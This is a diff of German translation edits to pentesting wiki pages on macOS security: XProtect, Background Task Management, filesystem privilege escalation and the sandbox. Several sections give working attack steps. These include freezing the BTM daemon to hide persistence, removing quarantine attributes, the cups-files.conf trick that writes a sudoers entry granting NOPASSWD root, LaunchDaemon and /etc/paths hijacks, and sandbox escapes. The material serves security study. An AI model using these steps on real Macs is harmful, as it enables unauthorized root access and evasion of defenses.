{{#ref}}
macos-tcc/
@ -54,14 +54,14 @@ Sobald Malware auf einem Mac erkannt wird (entweder durch XProtect oder auf ande
Während sowohl XProtect als auch MRT Teil der Sicherheitsmaßnahmen von macOS sind, erfüllen sie unterschiedliche Funktionen:
- **XProtect** ist ein präventives Tool. Es **überprüft Dateien, während sie heruntergeladen werden** (über bestimmte Anwendungen), und wenn es bekannte Malware erkennt, **verhindert es, dass die Datei geöffnet wird**, wodurch verhindert wird, dass die Malware Ihr System überhaupt infiziert.
- **XProtect** ist ein präventives Tool. Es **überprüft Dateien, während sie heruntergeladen werden** (über bestimmte Anwendungen), und wenn es bekannte Arten von Malware erkennt, **verhindert es, dass die Datei geöffnet wird**, wodurch verhindert wird, dass die Malware Ihr System überhaupt infiziert.
- **MRT** hingegen ist ein **reaktives Tool**. Es arbeitet, nachdem Malware auf einem System erkannt wurde, mit dem Ziel, die störende Software zu entfernen, um das System zu bereinigen.
Die MRT-Anwendung befindet sich in **`/Library/Apple/System/Library/CoreServices/MRT.app`**
## Verwaltung von Hintergrundaufgaben
**macOS** warnt jetzt jedes Mal, wenn ein Tool eine bekannte **Technik zur Persistenz der Codeausführung** verwendet (wie Anmeldeobjekte, Daemons...), sodass der Benutzer besser weiß, **welche Software persistiert**.
**macOS** warnt jetzt jedes Mal, wenn ein Tool eine bekannte **Technik zur Persistenz der Codeausführung** verwendet (wie Anmeldeobjekte, Daemons...), damit der Benutzer besser weiß, **welche Software persistiert**.
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
@ -85,7 +85,7 @@ Darüber hinaus gibt es eine plist-Datei, die **bekannte Anwendungen** enthält,
}
[...]
```
### Aufzählung
### Enumeration
Es ist möglich, **alle** konfigurierten Hintergrundelemente mit dem Apple CLI-Tool aufzulisten:
```bash
@ -124,7 +124,7 @@ kill -SIGSTOP 1011
ps -o state 1011
T
```
- **Fehler**: Wenn der **Prozess, der die Persistenz erstellt hat, direkt danach schnell existiert**, wird der Daemon versuchen, **Informationen darüber zu erhalten**, **fehlen** und **wird nicht in der Lage sein, das Ereignis zu senden**, das anzeigt, dass eine neue Sache persistiert.
- **Fehler**: Wenn der **Prozess, der die Persistenz erstellt hat, direkt danach schnell existiert**, wird der Daemon versuchen, **Informationen darüber zu erhalten**, **scheitern** und **wird nicht in der Lage sein, das Ereignis zu senden**, das anzeigt, dass eine neue Sache persistiert.
Referenzen und **weitere Informationen über BTM**:

View File

@ -24,21 +24,21 @@ Mit einer der vorherigen Kombinationen könnte ein Angreifer einen **sym/hard li
### Ordner root R+X Sonderfall
Wenn es Dateien in einem **Verzeichnis** gibt, in dem **nur root R+X-Zugriff hat**, sind diese **für niemanden sonst zugänglich**. Eine Schwachstelle, die es ermöglicht, eine von einem Benutzer lesbare Datei, die aufgrund dieser **Einschränkung** nicht gelesen werden kann, von diesem Ordner **in einen anderen** zu verschieben, könnte missbraucht werden, um diese Dateien zu lesen.
Wenn es Dateien in einem **Verzeichnis** gibt, in dem **nur root R+X-Zugriff hat**, sind diese **für niemanden sonst zugänglich**. Eine Schwachstelle, die es ermöglicht, eine von einem Benutzer lesbare Datei, die aufgrund dieser **Einschränkung** nicht gelesen werden kann, aus diesem Ordner **in einen anderen** zu verschieben, könnte ausgenutzt werden, um diese Dateien zu lesen.
Beispiel in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
Beispiel unter: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
## Symbolischer Link / Harte Links
## Symbolischer Link / Harte Verknüpfung
### Nachsichtige Datei/Ordner
### Erlaubte Datei/Ordner
Wenn ein privilegierter Prozess Daten in eine **Datei** schreibt, die von einem **weniger privilegierten Benutzer** **kontrolliert** werden könnte oder die **zuvor von einem weniger privilegierten Benutzer erstellt** wurde. Der Benutzer könnte einfach **auf eine andere Datei** über einen symbolischen oder harten Link **verweisen**, und der privilegierte Prozess wird in dieser Datei schreiben.
Wenn ein privilegierter Prozess Daten in eine **Datei** schreibt, die von einem **weniger privilegierten Benutzer** **kontrolliert** werden könnte oder die **zuvor** von einem weniger privilegierten Benutzer erstellt wurde. Der Benutzer könnte einfach **auf eine andere Datei** über einen symbolischen oder harten Link **verweisen**, und der privilegierte Prozess wird in dieser Datei schreiben.
Überprüfen Sie in den anderen Abschnitten, wo ein Angreifer **einen beliebigen Schreibzugriff missbrauchen könnte, um Privilegien zu eskalieren**.
Überprüfen Sie in den anderen Abschnitten, wo ein Angreifer **einen beliebigen Schreibzugriff ausnutzen könnte, um Privilegien zu eskalieren**.
### Offenes `O_NOFOLLOW`
### Offen `O_NOFOLLOW`
Das Flag `O_NOFOLLOW`, wenn es von der Funktion `open` verwendet wird, folgt einem Symlink im letzten Pfadkomponenten nicht, aber es folgt dem Rest des Pfades. Der richtige Weg, um das Folgen von Symlinks im Pfad zu verhindern, ist die Verwendung des Flags `O_NOFOLLOW_ANY`.
Das Flag `O_NOFOLLOW`, wenn es von der Funktion `open` verwendet wird, folgt einem Symlink im letzten Pfadkomponenten nicht, folgt aber dem Rest des Pfades. Der richtige Weg, um das Folgen von Symlinks im Pfad zu verhindern, ist die Verwendung des Flags `O_NOFOLLOW_ANY`.
## .fileloc
@ -72,7 +72,7 @@ Zum Beispiel: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7
```bash
xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable flag
### uchg / uchange / uimmutable-Flag
Wenn eine Datei/ein Ordner dieses unveränderliche Attribut hat, ist es nicht möglich, ein xattr darauf zu setzen.
```bash
@ -148,6 +148,7 @@ ls -le test
Nicht wirklich notwendig, aber ich lasse es hier, nur für den Fall:
{{#ref}}
macos-xattr-acls-extra-stuff.md
{{#endref}}
@ -156,7 +157,7 @@ macos-xattr-acls-extra-stuff.md
### Umgehung von Plattform-Binärprüfungen
Einige Sicherheitsprüfungen überprüfen, ob die Binärdatei eine **Plattform-Binärdatei** ist, um beispielsweise die Verbindung zu einem XPC-Dienst zu ermöglichen. Wie in einer Umgehung in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ dargelegt, ist es möglich, diese Prüfung zu umgehen, indem man eine Plattform-Binärdatei (wie /bin/ls) erhält und den Exploit über dyld mit einer Umgebungsvariable `DYLD_INSERT_LIBRARIES` injiziert.
Einige Sicherheitsprüfungen überprüfen, ob die Binärdatei eine **Plattform-Binärdatei** ist, um beispielsweise die Verbindung zu einem XPC-Dienst zu ermöglichen. Wie in einer Umgehung in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ dargelegt, ist es möglich, diese Überprüfung zu umgehen, indem man eine Plattform-Binärdatei (wie /bin/ls) erhält und den Exploit über dyld mit einer Umgebungsvariable `DYLD_INSERT_LIBRARIES` injiziert.
### Umgehung der Flags `CS_REQUIRE_LV` und `CS_FORCED_LV`
@ -221,7 +222,7 @@ Es gibt jedoch einige Dateien, deren Signatur nicht überprüft wird; diese habe
...
</dict>
```
Es ist möglich, die Signatur einer Ressource über die CLI mit folgendem Befehl zu berechnen:
Es ist möglich, die Signatur einer Ressource über die CLI mit zu berechnen:
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
@ -248,7 +249,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
Normalerweise mountet macOS Festplatten, indem es mit dem `com.apple.DiskArbitration.diskarbitrariond` Mach-Dienst (bereitgestellt von `/usr/libexec/diskarbitrationd`) kommuniziert. Wenn man den Parameter `-d` zur LaunchDaemons plist-Datei hinzufügt und neu startet, werden die Protokolle in `/var/log/diskarbitrationd.log` gespeichert.\
Normalerweise mountet macOS Festplatten, indem es mit dem `com.apple.DiskArbitrarion.diskarbitrariond` Mach-Dienst (bereitgestellt von `/usr/libexec/diskarbitrationd`) kommuniziert. Wenn man den Parameter `-d` zur LaunchDaemons plist-Datei hinzufügt und neu startet, werden die Protokolle in `/var/log/diskarbitrationd.log` gespeichert.\
Es ist jedoch möglich, Tools wie `hdik` und `hdiutil` zu verwenden, um direkt mit dem `com.apple.driver.DiskImages` kext zu kommunizieren.
## Arbiträre Schreibvorgänge
@ -257,7 +258,7 @@ Es ist jedoch möglich, Tools wie `hdik` und `hdiutil` zu verwenden, um direkt m
Wenn Ihr Skript als **Shell-Skript** interpretiert werden könnte, könnten Sie das **`/etc/periodic/daily/999.local`** Shell-Skript überschreiben, das jeden Tag ausgelöst wird.
Sie können eine Ausführung dieses Skripts vortäuschen mit: **`sudo periodic daily`**
Sie können eine Ausführung dieses Skripts fälschen mit: **`sudo periodic daily`**
### Daemons
@ -278,23 +279,23 @@ Schreiben Sie einen beliebigen **LaunchDaemon** wie **`/Library/LaunchDaemons/xy
</dict>
</plist>
```
Erstellen Sie einfach das Skript `/Applications/Scripts/privesc.sh` mit den **Befehlen**, die Sie als root ausführen möchten.
Generiere einfach das Skript `/Applications/Scripts/privesc.sh` mit den **Befehlen**, die du als root ausführen möchtest.
### Sudoers-Datei
Wenn Sie **willkürlichen Schreibzugriff** haben, könnten Sie eine Datei im Ordner **`/etc/sudoers.d/`** erstellen, die Ihnen **sudo**-Rechte gewährt.
Wenn du **willkürlichen Schreibzugriff** hast, könntest du eine Datei im Ordner **`/etc/sudoers.d/`** erstellen, die dir **sudo**-Rechte gewährt.
### PATH-Dateien
Die Datei **`/etc/paths`** ist einer der Hauptorte, die die PATH-Umgebungsvariable befüllen. Sie müssen root sein, um sie zu überschreiben, aber wenn ein Skript von einem **privilegierten Prozess** einen **Befehl ohne den vollständigen Pfad** ausführt, könnten Sie in der Lage sein, es zu **übernehmen**, indem Sie diese Datei ändern.
Die Datei **`/etc/paths`** ist einer der Hauptorte, die die PATH-Umgebungsvariable befüllen. Du musst root sein, um sie zu überschreiben, aber wenn ein Skript von einem **privilegierten Prozess** einen **Befehl ohne den vollständigen Pfad** ausführt, könntest du in der Lage sein, es zu **übernehmen**, indem du diese Datei änderst.
Sie können auch Dateien in **`/etc/paths.d`** schreiben, um neue Ordner in die `PATH`-Umgebungsvariable zu laden.
Du kannst auch Dateien in **`/etc/paths.d`** schreiben, um neue Ordner in die `PATH`-Umgebungsvariable zu laden.
### cups-files.conf
Diese Technik wurde in [diesem Bericht](https://www.kandji.io/blog/macos-audit-story-part1) verwendet.
Erstellen Sie die Datei `/etc/cups/cups-files.conf` mit folgendem Inhalt:
Erstelle die Datei `/etc/cups/cups-files.conf` mit folgendem Inhalt:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
@ -302,17 +303,17 @@ LogFilePerm 777
```
Dies wird die Datei `/etc/sudoers.d/lpe` mit den Berechtigungen 777 erstellen. Der zusätzliche Müll am Ende dient dazu, die Erstellung des Fehlerprotokolls auszulösen.
Dann schreibe in `/etc/sudoers.d/lpe` die benötigte Konfiguration, um Privilegien zu eskalieren, wie `%staff ALL=(ALL) NOPASSWD:ALL`.
Dann schreibe in `/etc/sudoers.d/lpe` die benötigte Konfiguration, um die Berechtigungen zu eskalieren, wie `%staff ALL=(ALL) NOPASSWD:ALL`.
Ändere dann die Datei `/etc/cups/cups-files.conf` erneut und gebe `LogFilePerm 700` an, damit die neue sudoers-Datei gültig wird, wenn `cupsctl` aufgerufen wird.
### Sandbox Escape
Es ist möglich, die macOS-Sandbox mit einem FS-arbiträren Schreibzugriff zu verlassen. Für einige Beispiele siehe die Seite [macOS Auto Start](../../../../macos-auto-start-locations.md), aber ein gängiger ist, eine Terminal-Präferenzdatei in `~/Library/Preferences/com.apple.Terminal.plist` zu schreiben, die einen Befehl beim Start ausführt und sie mit `open` aufruft.
Es ist möglich, die macOS-Sandbox mit einem FS-arbiträren Schreibzugriff zu umgehen. Für einige Beispiele siehe die Seite [macOS Auto Start](../../../../macos-auto-start-locations.md), aber ein gängiger ist, eine Terminal-Präferenzdatei in `~/Library/Preferences/com.apple.Terminal.plist` zu schreiben, die einen Befehl beim Start ausführt, und sie mit `open` aufzurufen.
## Generiere beschreibbare Dateien als andere Benutzer
Dies wird eine Datei erzeugen, die root gehört und von mir beschreibbar ist ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dies könnte auch als Privilegieneskalation funktionieren:
Dies wird eine Datei erzeugen, die root gehört und von mir beschreibbar ist ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dies könnte auch als privesc funktionieren:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -326,7 +327,7 @@ echo $FILENAME
```
## POSIX Shared Memory
**POSIX Shared Memory** ermöglicht es Prozessen in POSIX-konformen Betriebssystemen, auf einen gemeinsamen Speicherbereich zuzugreifen, was eine schnellere Kommunikation im Vergleich zu anderen Methoden der interprozessualen Kommunikation erleichtert. Es beinhaltet das Erstellen oder Öffnen eines Shared Memory-Objekts mit `shm_open()`, das Festlegen seiner Größe mit `ftruncate()` und das Mappen in den Adressraum des Prozesses mit `mmap()`. Prozesse können dann direkt aus diesem Speicherbereich lesen und in ihn schreiben. Um den gleichzeitigen Zugriff zu verwalten und Datenkorruption zu verhindern, werden häufig Synchronisationsmechanismen wie Mutexes oder Semaphoren verwendet. Schließlich entmappen und schließen Prozesse den Shared Memory mit `munmap()` und `close()`, und entfernen optional das Speicherobjekt mit `shm_unlink()`. Dieses System ist besonders effektiv für effiziente, schnelle IPC in Umgebungen, in denen mehrere Prozesse schnell auf gemeinsame Daten zugreifen müssen.
**POSIX Shared Memory** ermöglicht es Prozessen in POSIX-konformen Betriebssystemen, auf einen gemeinsamen Speicherbereich zuzugreifen, was eine schnellere Kommunikation im Vergleich zu anderen Methoden der interprozesslichen Kommunikation erleichtert. Es beinhaltet das Erstellen oder Öffnen eines Shared Memory-Objekts mit `shm_open()`, das Festlegen seiner Größe mit `ftruncate()` und das Mappen in den Adressraum des Prozesses mit `mmap()`. Prozesse können dann direkt aus diesem Speicherbereich lesen und in ihn schreiben. Um den gleichzeitigen Zugriff zu verwalten und Datenkorruption zu verhindern, werden häufig Synchronisationsmechanismen wie Mutexes oder Semaphoren verwendet. Schließlich entmappen und schließen die Prozesse den Shared Memory mit `munmap()` und `close()`, und entfernen optional das Speicherobjekt mit `shm_unlink()`. Dieses System ist besonders effektiv für effiziente, schnelle IPC in Umgebungen, in denen mehrere Prozesse schnell auf gemeinsame Daten zugreifen müssen.
<details>
@ -424,11 +425,11 @@ return 0;
**macOS geschützte Deskriptoren** sind eine Sicherheitsfunktion, die in macOS eingeführt wurde, um die Sicherheit und Zuverlässigkeit von **Dateideskriptoroperationen** in Benutzeranwendungen zu verbessern. Diese geschützten Deskriptoren bieten eine Möglichkeit, spezifische Einschränkungen oder "Wächter" mit Dateideskriptoren zu verknüpfen, die vom Kernel durchgesetzt werden.
Diese Funktion ist besonders nützlich, um bestimmte Klassen von Sicherheitsanfälligkeiten wie **unbefugten Dateizugriff** oder **Rennbedingungen** zu verhindern. Diese Anfälligkeiten treten auf, wenn beispielsweise ein Thread auf eine Dateibeschreibung zugreift und **einem anderen anfälligen Thread Zugriff darauf gewährt** oder wenn ein Dateideskriptor von einem anfälligen Kindprozess **vererbt** wird. Einige Funktionen, die mit dieser Funktionalität zusammenhängen, sind:
Diese Funktion ist besonders nützlich, um bestimmte Klassen von Sicherheitsanfälligkeiten wie **unauthorized file access** oder **race conditions** zu verhindern. Diese Anfälligkeiten treten auf, wenn beispielsweise ein Thread auf eine Dateibeschreibung zugreift und **einem anderen anfälligen Thread Zugriff darauf gewährt** oder wenn ein Dateideskriptor von einem anfälligen Kindprozess **vererbt** wird. Einige Funktionen, die mit dieser Funktionalität zusammenhängen, sind:
- `guarded_open_np`: Öffnet einen FD mit einem Wächter
- `guarded_close_np`: Schließt ihn
- `change_fdguard_np`: Ändert die Wächterflags auf einem Deskriptor (sogar den Wächterschutz entfernen)
- `change_fdguard_np`: Ändert die Wächterflags auf einem Deskriptor (sogar das Entfernen des Wächter-Schutzes)
## Referenzen

View File

@ -4,11 +4,11 @@
## Grundlegende Informationen
MacOS Sandbox (ursprünglich Seatbelt genannt) **beschränkt Anwendungen**, die innerhalb des Sandboxes ausgeführt werden, auf die **erlaubten Aktionen, die im Sandbox-Profil** festgelegt sind, mit dem die App ausgeführt wird. Dies hilft sicherzustellen, dass **die Anwendung nur auf erwartete Ressourcen zugreift**.
MacOS Sandbox (zunächst Seatbelt genannt) **beschränkt Anwendungen**, die innerhalb des Sandboxes ausgeführt werden, auf die **erlaubten Aktionen, die im Sandbox-Profil** festgelegt sind, mit dem die App ausgeführt wird. Dies hilft sicherzustellen, dass **die Anwendung nur auf erwartete Ressourcen zugreift**.
Jede App mit der **Berechtigung** **`com.apple.security.app-sandbox`** wird innerhalb des Sandboxes ausgeführt. **Apple-Binärdateien** werden normalerweise innerhalb eines Sandboxes ausgeführt, und alle Anwendungen aus dem **App Store haben diese Berechtigung**. Daher werden mehrere Anwendungen innerhalb des Sandboxes ausgeführt.
Um zu kontrollieren, was ein Prozess tun oder nicht tun kann, hat der **Sandbox Hooks** in fast jede Operation, die ein Prozess versuchen könnte (einschließlich der meisten Syscalls), unter Verwendung von **MACF**. Allerdings kann der **Sandbox**, abhängig von den **Berechtigungen** der App, mit dem Prozess nachsichtiger sein.
Um zu steuern, was ein Prozess tun oder nicht tun kann, hat der **Sandbox Hooks** in fast jeder Operation, die ein Prozess versuchen könnte (einschließlich der meisten Syscalls), unter Verwendung von **MACF**. Abhängig von den **Berechtigungen** der App kann der Sandbox jedoch permissiver mit dem Prozess umgehen.
Einige wichtige Komponenten des Sandboxes sind:
@ -106,11 +106,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
> [!WARNING]
> Alles, was von einer Sandbox-Anwendung erstellt/modified wird, erhält das **Quarantäneattribut**. Dies verhindert einen Sandbox-Bereich, indem Gatekeeper ausgelöst wird, wenn die Sandbox-App versucht, etwas mit **`open`** auszuführen.
> Alles, was von einer Sandbox-Anwendung erstellt oder geändert wird, erhält das **Quarantäneattribut**. Dies verhindert einen Sandbox-Bereich, indem Gatekeeper ausgelöst wird, wenn die Sandbox-App versucht, etwas mit **`open`** auszuführen.
## Sandbox-Profile
Die Sandbox-Profile sind Konfigurationsdateien, die angeben, was in dieser **Sandbox** **erlaubt/verboten** ist. Es verwendet die **Sandbox Profile Language (SBPL)**, die die [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>) Programmiersprache verwendet.
Die Sandbox-Profile sind Konfigurationsdateien, die angeben, was in dieser **Sandbox** **erlaubt/verboten** ist. Es verwendet die **Sandbox Profile Language (SBPL)**, die die [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>) Programmiersprache nutzt.
Hier finden Sie ein Beispiel:
```scheme
@ -133,7 +133,7 @@ Hier finden Sie ein Beispiel:
> [!TIP]
> Überprüfen Sie diese [**Forschung**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **um weitere Aktionen zu überprüfen, die erlaubt oder verweigert werden könnten.**
>
> Beachten Sie, dass im kompilierten Version eines Profils die Namen der Operationen durch ihre Einträge in einem Array ersetzt werden, das von der dylib und dem kext bekannt ist, wodurch die kompilierte Version kürzer und schwieriger zu lesen ist.
> Beachten Sie, dass in der kompilierten Version eines Profils die Namen der Operationen durch ihre Einträge in einem Array ersetzt werden, das von der dylib und dem kext bekannt ist, wodurch die kompilierten Versionen kürzer und schwieriger zu lesen sind.
Wichtige **Systemdienste** laufen ebenfalls in ihrem eigenen benutzerdefinierten **Sandbox**, wie der Dienst `mdnsresponder`. Sie können diese benutzerdefinierten **Sandbox-Profile** einsehen unter:
@ -149,7 +149,7 @@ Einige **Apple-Daemon-Dienste** verwenden dann unterschiedliche Profile, die sic
### Sandbox-Profilbeispiele
Um eine Anwendung mit einem **spezifischen Sandbox-Profil** zu starten, können Sie verwenden:
Um eine Anwendung mit einem **spezifischen Sandbox-Profil** zu starten, können Sie Folgendes verwenden:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
@ -199,19 +199,19 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> Beachten Sie, dass die **von Apple verfasste** **Software**, die auf **Windows** läuft, **keine zusätzlichen Sicherheitsvorkehrungen** hat, wie z.B. Anwendungssandboxing.
> [!TIP]
> Beachten Sie, dass die **von Apple verfasste** **Software**, die auf **Windows** läuft, **keine zusätzlichen Sicherheitsvorkehrungen** hat, wie z.B. die Anwendungssandboxierung.
Beispiele für Umgehungen:
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sie können Dateien außerhalb der Sandbox schreiben, deren Name mit `~$` beginnt).
### Sandbox-Tracking
### Sandbox-Überwachung
#### Über Profil
Es ist möglich, alle Überprüfungen zu verfolgen, die die Sandbox jedes Mal durchführt, wenn eine Aktion überprüft wird. Erstellen Sie dazu einfach das folgende Profil:
Es ist möglich, alle Überprüfungen, die die Sandbox jedes Mal durchführt, wenn eine Aktion überprüft wird, nachzuvollziehen. Erstellen Sie dazu einfach das folgende Profil:
```scheme:trace.sb
(version 1)
(trace /tmp/trace.out)
@ -224,7 +224,7 @@ In `/tmp/trace.out` können Sie jede Sandbox-Prüfung sehen, die jedes Mal durch
Es ist auch möglich, die Sandbox mit dem **`-t`** Parameter zu verfolgen: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### Über die API
#### Über API
Die Funktion `sandbox_set_trace_path`, die von `libsystem_sandbox.dylib` exportiert wird, ermöglicht es, einen Trace-Dateinamen anzugeben, in den Sandbox-Prüfungen geschrieben werden.\
Es ist auch möglich, etwas Ähnliches zu tun, indem man `sandbox_vtrace_enable()` aufruft und dann die Protokollfehler aus dem Puffer mit `sandbox_vtrace_report()` abruft.
@ -239,11 +239,11 @@ MacOS speichert System-Sandbox-Profile an zwei Orten: **/usr/share/sandbox/** un
Und wenn eine Drittanbieteranwendung das _**com.apple.security.app-sandbox**_ Recht hat, wendet das System das **/System/Library/Sandbox/Profiles/application.sb** Profil auf diesen Prozess an.
In iOS heißt das Standardprofil **container** und wir haben keine SBPL-Textdarstellung. Im Speicher wird diese Sandbox als Erlauben/Verweigern-Binärbaum für jede Berechtigung aus der Sandbox dargestellt.
In iOS wird das Standardprofil **container** genannt und wir haben keine SBPL-Textdarstellung. Im Speicher wird diese Sandbox als Erlauben/Verweigern-Binärbaum für jede Berechtigung aus der Sandbox dargestellt.
### Benutzerdefinierte SBPL in App Store-Apps
Es könnte für Unternehmen möglich sein, ihre Apps **mit benutzerdefinierten Sandbox-Profilen** auszuführen (anstatt mit dem Standardprofil). Sie müssen das Recht **`com.apple.security.temporary-exception.sbpl`** verwenden, das von Apple genehmigt werden muss.
Es könnte für Unternehmen möglich sein, ihre Apps **mit benutzerdefinierten Sandbox-Profilen** (anstatt mit dem Standardprofil) auszuführen. Sie müssen das Recht **`com.apple.security.temporary-exception.sbpl`** verwenden, das von Apple genehmigt werden muss.
Es ist möglich, die Definition dieses Rechts in **`/System/Library/Sandbox/Profiles/application.sb:`** zu überprüfen.
```scheme
@ -253,7 +253,7 @@ Es ist möglich, die Definition dieses Rechts in **`/System/Library/Sandbox/Prof
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Dies wird **den String nach diesem Anspruch** als Sandbox-Profil **eval**.
Dies wird **den String nach diesem Berechtigung** als Sandbox-Profil **eval**.
### Kompilieren & Dekompilieren eines Sandbox-Profils
@ -265,9 +265,10 @@ Darüber hinaus kann es, um einen Prozess innerhalb eines Containers einzuschrä
## Debuggen & Umgehen der Sandbox
Auf macOS, im Gegensatz zu iOS, wo Prozesse von Anfang an durch den Kernel in einer Sandbox sind, **müssen Prozesse selbst in die Sandbox eintreten**. Das bedeutet, dass ein Prozess auf macOS nicht durch die Sandbox eingeschränkt ist, bis er aktiv entscheidet, sie zu betreten, obwohl Apps aus dem App Store immer in einer Sandbox sind.
Auf macOS, im Gegensatz zu iOS, wo Prozesse von Anfang an durch den Kernel in einer Sandbox sind, **müssen Prozesse selbst in die Sandbox optieren**. Das bedeutet, dass ein Prozess auf macOS nicht durch die Sandbox eingeschränkt ist, bis er aktiv entscheidet, sie zu betreten, obwohl Apps aus dem App Store immer in einer Sandbox sind.
Prozesse werden automatisch aus dem Userland in eine Sandbox gesetzt, wenn sie starten, wenn sie die Berechtigung haben: `com.apple.security.app-sandbox`. Für eine detaillierte Erklärung dieses Prozesses siehe:
Prozesse werden automatisch aus dem Userland in eine Sandbox gesetzt, wenn sie starten, wenn sie das Recht haben: `com.apple.security.app-sandbox`. Für eine detaillierte Erklärung dieses Prozesses siehe:
{{#ref}}
macos-sandbox-debug-and-bypass/
@ -285,18 +286,18 @@ Erweiterungen ermöglichen es, einem Objekt weitere Berechtigungen zu geben, und
- `sandbox_extension_issue_generic`
- `sandbox_extension_issue_posix_ipc`
Die Erweiterungen werden im zweiten MACF-Label-Slot gespeichert, der von den Prozessberechtigungen zugänglich ist. Das folgende **`sbtool`** kann auf diese Informationen zugreifen.
Die Erweiterungen werden im zweiten MACF-Label-Slot gespeichert, der von den Prozessanmeldeinformationen zugänglich ist. Das folgende **`sbtool`** kann auf diese Informationen zugreifen.
Beachten Sie, dass Erweiterungen normalerweise von erlaubten Prozessen gewährt werden. Zum Beispiel wird `tccd` das Erweiterungstoken von `com.apple.tcc.kTCCServicePhotos` gewähren, wenn ein Prozess versucht hat, auf die Fotos zuzugreifen und in einer XPC-Nachricht erlaubt wurde. Dann muss der Prozess das Erweiterungstoken konsumieren, damit es hinzugefügt wird.\
Beachten Sie, dass die Erweiterungstoken lange Hexadezimalzahlen sind, die die gewährten Berechtigungen kodieren. Sie haben jedoch die erlaubte PID nicht fest codiert, was bedeutet, dass jeder Prozess mit Zugriff auf das Token **von mehreren Prozessen konsumiert werden kann**.
Beachten Sie, dass Erweiterungen auch sehr mit Entitlements verbunden sind, sodass das Vorhandensein bestimmter Entitlements automatisch bestimmte Erweiterungen gewähren kann.
Beachten Sie, dass Erweiterungen auch sehr mit Berechtigungen verbunden sind, sodass das Vorhandensein bestimmter Berechtigungen automatisch bestimmte Erweiterungen gewähren kann.
### **Überprüfen der PID-Berechtigungen**
[**Laut diesem**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s) können die **`sandbox_check`**-Funktionen (es ist ein `__mac_syscall`) überprüfen, **ob eine Operation in einer bestimmten PID, Audit-Token oder eindeutigen ID erlaubt ist oder nicht**.
[**Laut diesem**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s) können die **`sandbox_check`**-Funktionen (es ist ein `__mac_syscall`) überprüfen, **ob eine Operation erlaubt ist oder nicht** durch die Sandbox in einer bestimmten PID, Audit-Token oder eindeutige ID.
Das [**Tool sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (finden Sie es [hier kompiliert](https://newosxbook.com/articles/hitsb.html)) kann überprüfen, ob eine PID bestimmte Aktionen ausführen kann:
Das [**Tool sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (finden Sie [hier kompiliert](https://newosxbook.com/articles/hitsb.html)) kann überprüfen, ob eine PID bestimmte Aktionen ausführen kann:
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access
@ -305,7 +306,7 @@ sbtool <pid> all
```
### \[un]suspend
Es ist auch möglich, den Sandbox zu suspendieren und wieder zu aktivieren, indem die Funktionen `sandbox_suspend` und `sandbox_unsuspend` aus `libsystem_sandbox.dylib` verwendet werden.
Es ist auch möglich, den Sandbox mit den Funktionen `sandbox_suspend` und `sandbox_unsuspend` aus `libsystem_sandbox.dylib` zu suspendieren und wiederherzustellen.
Beachten Sie, dass zur Aufruf der Suspend-Funktion einige Berechtigungen überprüft werden, um den Aufrufer zu autorisieren, sie aufzurufen, wie:
@ -315,26 +316,26 @@ Beachten Sie, dass zur Aufruf der Suspend-Funktion einige Berechtigungen überpr
## mac_syscall
Dieser Systemaufruf (#381) erwartet ein String-Argument als ersten Parameter, das das auszuführende Modul angibt, und dann einen Code im zweiten Argument, der die auszuführende Funktion angibt. Der dritte Parameter hängt dann von der ausgeführten Funktion ab.
Dieser Systemaufruf (#381) erwartet ein erstes Argument vom Typ String, das das Modul angibt, das ausgeführt werden soll, und dann einen Code im zweiten Argument, der die auszuführende Funktion angibt. Das dritte Argument hängt dann von der ausgeführten Funktion ab.
Der Funktionsaufruf `___sandbox_ms` umschließt `mac_syscall`, indem im ersten Argument `"Sandbox"` angegeben wird, genau wie `___sandbox_msp` ein Wrapper von `mac_set_proc` (#387) ist. Einige der unterstützten Codes von `___sandbox_ms` sind in dieser Tabelle zu finden:
Der Funktionsaufruf `___sandbox_ms` umschließt `mac_syscall`, indem im ersten Argument `"Sandbox"` angegeben wird, genau wie `___sandbox_msp` ein Wrapper von `mac_set_proc` (#387) ist. Einige der von `___sandbox_ms` unterstützten Codes sind in dieser Tabelle zu finden:
- **set_profile (#0)**: Wendet ein kompiliertes oder benanntes Profil auf einen Prozess an.
